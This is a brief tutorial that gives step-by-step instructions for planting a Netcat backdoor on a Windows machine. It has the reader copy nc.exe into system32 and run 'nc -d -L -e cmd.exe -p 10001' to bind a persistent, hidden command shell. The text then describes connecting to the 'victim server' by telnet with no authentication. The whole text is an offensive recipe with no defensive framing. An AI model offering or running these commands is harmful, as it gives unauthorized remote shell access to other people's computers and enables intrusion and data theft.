Netcat is referred to as the TCP/IP swiss army knife. Netcat can be used for good things, as well as bad. By using Netcat we can create a back door to any Windows machine with ease.

1. Download the Windows version of Netcat.
2. Unzip nc.exe to the %SYSTEMROOT%\system32 directory.
3. Execute nc -d -L -e cmd.exe -p 10001. Change 10001 to which ever port you wish.
4. From any remote machine accessible to the victim server — you can now telnet to the server on port 10001 — telnet X.X.X.X 10001 — without any authentication.

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